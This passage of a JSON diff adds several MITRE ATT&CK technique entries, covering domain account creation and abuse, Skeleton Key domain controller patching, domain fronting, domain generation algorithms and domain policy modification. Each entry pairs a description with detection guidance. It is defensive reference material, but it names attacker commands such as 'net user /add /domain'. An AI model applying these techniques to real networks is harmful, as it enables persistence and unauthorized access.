{ + "source_name": "Enigma DCOM Lateral Movement Jan 2017", + "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/" + }, + { + "source_name": "Enigma Excel DCOM Sept 2017", + "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.", + "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/" + }, + { + "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017", + "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.", + "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom" + }, + { + "source_name": "MSDN WMI", + "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-23T18:12:36.696Z", + "name": "Domain Account", + "x_mitre_data_sources": [ + "User Account: User Account Creation", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "created": "2020-01-28T14:05:17.825Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177", + "description": "Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Monitor for processes and command-line parameters associated with domain account creation, such as net user /add /domain. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1136/002", + "external_id": "T1136.002", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720", + "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.", + "source_name": "Microsoft User Creation Event" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Domain Account", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-13T14:05:14.784Z", + "created": "2020-02-21T21:08:26.480Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", + "description": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior.\n\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1087/002", + "external_id": "T1087.002", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/575.html", + "external_id": "CAPEC-575", + "source_name": "capec" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Domain Accounts", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Metadata", + "User Account: User Account Authentication", + "Logon Session: Logon Session Creation" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-19T03:29:47.651Z", + "created": "2020-03-13T20:21:54.758Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "id": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.", + "x_mitre_contributors": [ + "Jon Sternstein, Stern Security" + ], + "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1078/002", + "external_id": "T1078.002", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/560.html", + "external_id": "CAPEC-560", + "source_name": "capec" + }, + { + "source_name": "TechNet Credential Theft", + "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts", + "description": "Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020.", + "source_name": "Microsoft AD Accounts" + }, + { + "source_name": "TechNet Audit Policy", + "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" + }, + { + "url": "https://ubuntu.com/server/docs/service-sssd", + "description": "Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.", + "source_name": "Ubuntu SSSD Docs" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Domain Controller Authentication", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Process: OS API Execution", + "Process: Process Access", + "File: File Modification" + ], + "x_mitre_version": "2.0", + "modified": "2021-04-20T20:10:26.613Z", + "created": "2020-02-11T19:05:02.399Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605", + "description": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1556/001", + "external_id": "T1556.001", + "source_name": "mitre-attack" + }, + { + "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis", + "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.", + "source_name": "Dell Skeleton" + }, + { + "source_name": "TechNet Audit Policy", + "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-14T23:29:54.083Z", + "name": "Domain Fronting", + "created": "2018-01-16T16:13:52.465Z", + "id": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1172", + "external_id": "T1172", + "source_name": "mitre-attack" + }, + { + "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015", + "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.", + "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-09-16T19:30:54.226Z", + "name": "Domain Fronting", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.1", + "created": "2020-03-14T23:29:19.581Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2", + "description": "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Matt Kelly, @breakersall" + ], + "x_mitre_detection": "If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1090/004", + "external_id": "T1090.004", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/481.html", + "external_id": "CAPEC-481", + "source_name": "capec" + }, + { + "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015", + "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.", + "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-11-10T18:28:56.957Z", + "name": "Domain Generation Algorithms", + "created": "2019-02-18T17:22:57.831Z", + "id": "attack-pattern--54456690-84de-4538-9101-643e26437e09", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1483", + "external_id": "T1483", + "source_name": "mitre-attack" + }, + { + "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf", + "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.", + "source_name": "Cybereason Dissecting DGAs" + }, + { + "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/", + "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019.", + "source_name": "Cisco Umbrella DGA" + }, + { + "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/", + "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.", + "source_name": "Unit 42 DGA Feb 2019" + }, + { + "source_name": "Talos CCleanup 2017", + "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", + "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html" + }, + { + "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html", + "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.", + "source_name": "Akamai DGA Mitigation" + }, + { + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + }, + { + "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/", + "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.", + "source_name": "ESET Sednit 2017 Activity" + }, + { + "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/", + "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.", + "source_name": "Data Driven Security DGA" + }, + { + "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf", + "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.", + "source_name": "Pace University Detecting DGA May 2017" + }, + { + "url": "https://arxiv.org/pdf/1611.00791.pdf", + "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.", + "source_name": "Elastic Predicting DGA" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-11-10T18:28:57.002Z", + "name": "Domain Generation Algorithms", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_version": "1.0", + "created": "2020-03-10T17:44:59.787Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Ryan Benson, Exabeam", + "Barry Shteiman, Exabeam", + "Sylvain Gil, Exabeam" + ], + "x_mitre_detection": "Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1568/002", + "external_id": "T1568.002", + "source_name": "mitre-attack" + }, + { + "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf", + "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.", + "source_name": "Cybereason Dissecting DGAs" + }, + { + "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/", + "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019.", + "source_name": "Cisco Umbrella DGA" + }, + { + "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/", + "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.", + "source_name": "Unit 42 DGA Feb 2019" + }, + { + "source_name": "Talos CCleanup 2017", + "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", + "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html" + }, + { + "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html", + "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.", + "source_name": "Akamai DGA Mitigation" + }, + { + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + }, + { + "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/", + "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.", + "source_name": "ESET Sednit 2017 Activity" + }, + { + "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/", + "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.", + "source_name": "Data Driven Security DGA" + }, + { + "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf", + "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.", + "source_name": "Pace University Detecting DGA May 2017" + }, + { + "url": "https://arxiv.org/pdf/1611.00791.pdf", + "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.", + "source_name": "Elastic Predicting DGA" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-12T19:07:53.043Z", + "name": "Domain Groups", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "created": "2020-02-21T21:15:06.561Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "description": "Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1069/002", + "external_id": "T1069.002", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Domain Policy Modification", + "x_mitre_data_sources": [ + "Active Directory: Active Directory Object Creation", + "Active Directory: Active Directory Object Deletion", + "Active Directory: Active Directory Object Modification", + "Command: Command Execution" + ], + "x_mitre_version": "2.0", + "modified": "2021-02-09T15:52:24.598Z", + "created": "2019-03-07T14:10:32.650Z", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_defense_bypassed": [ + "System access controls", + "File system access controls" + ], + "x_mitre_platforms": [ + "Windows", + "Azure AD" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", + "description": "Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.\n\nWith sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n\nAdversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nConsider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1484", + "external_id": "T1484", + "source_name": "mitre-attack" + }, + { + "url": "https://adsecurity.org/?p=2716", + "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.", + "source_name": "ADSecurity GPO Persistence 2016" + }, + { + "source_name": "Wald0 Guide to GPOs", + "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", + "url": "https://wald0.com/?p=179" + }, + { + "url": "http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/", + "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.", + "source_name": "Harmj0y Abusing GPO Permissions" + }, + { + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.", + "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks" + }, + { + "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml", + "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.", + "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods" + }, + { + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.", + "source_name": "Microsoft 365 Defender Solorigate" + }, + { + "url": "https://www.sygnia.co/golden-saml-advisory", + "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.", + "source_name": "Sygnia Golden SAML" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", + "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.", + "source_name": "CISA SolarWinds Cloud Detection" + }, + { + "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365", + "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.", + "source_name": "Microsoft - Update or Repair Federated domain" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Domain Properties", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:30:33.508Z", + "created": "2020-10-02T15:46:24.670Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": 